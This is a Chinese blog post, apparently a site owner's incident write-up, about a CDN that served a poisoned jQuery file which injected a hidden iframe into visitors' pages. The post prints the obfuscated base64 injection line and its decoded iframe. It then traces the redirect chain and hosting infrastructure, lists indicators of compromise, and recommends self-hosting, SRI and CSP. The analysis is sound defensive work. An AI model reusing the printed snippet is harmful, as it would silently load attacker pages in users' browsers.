网站被投毒

2026-09-17,我发现 colobu.com 的页面上被加载了一个可疑 iframe:https://soduncdn.com/m.html。域名注册于十天前、没有任何 A 记录、被 6/89 个安全引擎标记。查了一圈之后,结论有点出乎意料。

结论

页面本身没被改。被投毒的是页面引用的那个第三方 CDN 脚本。

出问题的是一行看起来再普通不过的写法:

1
<script src="//cdn.staticfile.org/jquery/1.11.1/jquery.min.js"></script>

cdn.staticfile.org 会在极低概率下返回一个被追加了 383 字节的篡改版 jQuery(96169 字节,官方版本是 95786 字节)。这 383 字节干的事,就是往页面里塞一个隐藏 iframe。

关键证据

我在一次页面加载中抓到了篡改版,与官方的差异只有末尾追加的这一段:

1
2
if(!!0){while(!!1){var _Il101l=0;break;}}if(!1){var _oIO1O0=42|0;}
document[atob("d3JpdGVsbg==")](atob("PGlmcmFtZSBzcmM9J2h0dHBzOi8vd3d3LmNkbmJvb3N0Y2FjaGUuY29tL3Nkay5odG1sP3M9c3RhdCcgc2FuZGJveD0nYWxsb3ctc2FtZS1vcmlnaW4gYWxsb3ctc2NyaXB0cyBhbGxvdy1wb3B1cHMgYWxsb3ctZm9ybXMnIHN0eWxlPSdwb3NpdGlvbjogZml4ZWQ7dG9wOjA7d2lkdGg6IDA7aGVpZ2h0OjA7bGVmdDotMTAwMHB4O2JvcmRlcjowJz48L2lmcmFtZT4="))

前面两个 if(!!0) / if(!1) 是永远不会执行的死代码,纯粹用来混淆和改变文件特征。真正干活的是最后一句 document.writeln(atob(...)),解码后是:

1
2
3
<iframe src='https://www.cdnboostcache.com/sdk.html?s=stat'
sandbox='allow-same-origin allow-scripts allow-popups allow-forms'
style='position: fixed;top:0;width: 0;height:0;left:-1000px;border:0'></iframe>

0×0 尺寸、left:-1000px 挪到屏幕外、sandbox 却放开了 scripts / popups / forms —— 一个教科书式的隐藏 iframe 挂马。用户看到的 soduncdn.com/m.html 就是这条链上轮换的落地域名之一,当时已经被弃用。

完整的投毒链

隐藏 iframe 加载之后的链条:

1
2
3
4
cdnboostcache.com/sdk.html
→ you.js / sdk16.1.0.js (投放 SDK)
→ cnzztracking.js / lvcryptv16.js(CryptoJS 加密的跳转逻辑)
→ ccmdiiln.com、mdpbmbl.com、sqkimvq.com、sokencn.com、1fm1fwto2.cc 等落地页

落地页都是典型的黑帽引流站,页面上挂着 51.la、cnzz、百度统计的探针——拿正规统计服务来数自己的"业绩"。

顺带一提,这个注入只在移动端 UA 下才完整触发。桌面 UA 访问时页面干干净净,这也是我一开始 curl 页面源码什么都没发现的原因。

基础设施关联(最硬的一条线索)

把域名解析拉出来对比,脉络就很清楚了:

域名 解析结果 归属
cdn.staticfile.org 45.125.35.x / 202.181.25.x Cloudie Limited(香港,AS133731)
www.cdnboostcache.com 45.125.35.232 / 202.181.25.73 / 103.231.15.135 同上
soduncdn.com(用户看到那个) 103.231.15.199 同上,103.231.15.0/24 同一网段
投毒方和恶意托管方,是同一批基础设施,甚至就在同一个 /24 里。

还有一处破绽:cdn.staticfile.org 现在的响应头是 server: nginx + cache-control: no-store + 带 X-CSRF-TOKEN 的宽松 CORS。这已经不是一个静态 CDN 该有的样子了,背后跑的是某个应用服务器。这个域名当年是七牛提供的公益 CDN,现在经 cdn77.vip(注意不是正经的 cdn77.com)CNAME 指到了这批香港机器上。

排查中排除掉的可能

假设 结论
页面源码被注入 ❌ 源码干净,0 个 iframe、0 处 sodun 引用
GitHub Pages / 服务器被改 ❌ 响应头正常,HTTP 301 强制跳 HTTPS,无明文劫持
本机 HTTPS 中间人 ❌ 系统钥匙串里没有任何非 Apple 根证书;直连与经代理拿到的证书完全一致(CN=staticfile.org)
本地 Clash 代理注入 ❌ 没有 MITM 证书就无法解密 HTTPS;直连和代理拿到的都是干净版本
其它 CDN 被改 ❌ cdn.bootcss.com、cdnjs、unpkg 逐个取样,哈希全部与官方一致
这里踩过一个坑值得记下来:本机 7890 端口挂着代理,curl 默认不走系统代理、浏览器走。一开始我用 curl 测了几十次都是干净的,差点得出"没问题"的结论,实际上两者的出口 IP 根本不是同一条路。排查这类问题,先确认自己走的是哪条链路。

修复建议

  1. 换掉 cdn.staticfile.org 和 cdn.bootcss.com。这两个同时期的老 CDN 都没有 SRI,现在又托管在可疑网段上。最稳的做法是把 jQuery / lazyload / MathJax 自托管到站点自己的静态目录。
  2. 加 SRI 完整性校验:<script src="..." integrity="sha256-..." crossorigin="anonymous">。这样即使 CDN 再被投毒,浏览器会直接拒绝执行不匹配的脚本——最坏结果是交互功能坏掉,而不是被挂马。
  3. 加 CSP。GitHub Pages 不能自定义响应头,用 <meta http-equiv="Content-Security-Policy"> 限制 frame-src 'self' https://utteranc.es,可以直接掐死这类注入的 iframe。
  4. 页面当前 integrity= 出现次数为 0,也没有任何 CSP —— 这是这次能被挂上的直接原因。

一个必须说清楚的局限

投毒我总共只命中 1 次,之后约 500 次请求(直连 / 经代理、桌面 / 移动 UA、带不带 Referer、带不带查询串)都没能再复现。

所以"投毒发生在 CDN 侧"这个结论,靠的是排除法推理:那次响应的 TLS 校验有效 + 本地无 MITM 证书 + 恶意域与 CDN 同网段。按命中率估算大概在 0.2% 量级,属于低概率选择性下发——这类投毒本来就会刻意控制频率来规避检测。

另外我抓到的样本注入指向 cdnboostcache.com,和当时看到的 soduncdn.com 是同一家族的不同轮换域名。机制一致,但严格说不是同一个 URL。

附:IOC 清单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 投毒链
www.cdnboostcache.com 45.125.15.114 / 45.125.35.232 / 202.181.25.73 / 103.231.15.135
dfd4165k.ccmdiiln.com 118.123.207.178 / 27.159.90.81 / 106.9.244.31
2ot309mh.mdpbmbl.com 同上一组
zxxzv.jxdfq.com 同上一组
55566ss.jxdfq.com 同上一组
11166.sokencn.com 103.151.149.13-20
97785.sqkimvq.com 同上一组
5d01.1fm1fwto2.cc 161.248.14.194 / 137.220.158.126 / 45.192.216.7
soduncdn.com 103.231.15.199(已停止解析)

# 文件特征
篡改版 jQuery 1.11.1:96169 字节,sha256 c5c85d8448a41a41...
官方 jQuery 1.11.1:95786 字节,sha256 540bc6dec1dd4b92...

附:这次用到的排查手法

  1. 别只看源码——现代挂马是运行时注入的,源码干净不代表安全。
  2. CDP 抓 Network.requestWillBeSent 的 initiator.stack,能直接拿到"是哪个脚本发起了这个恶意请求"。
  3. 逐次加载做内容哈希 diff——谁的内容会变,谁就是注入源。这次正是靠这招锁定了 jQuery。
  4. 用 curl 时注意代理——--noproxy '*' 和 -x 是两条完全不同的路,出口 IP 不同,看到的可能是两个世界。
  5. 把域名解析拉出来对比网段——投毒方和托管方经常住在一起,这是最快建立关联的手段。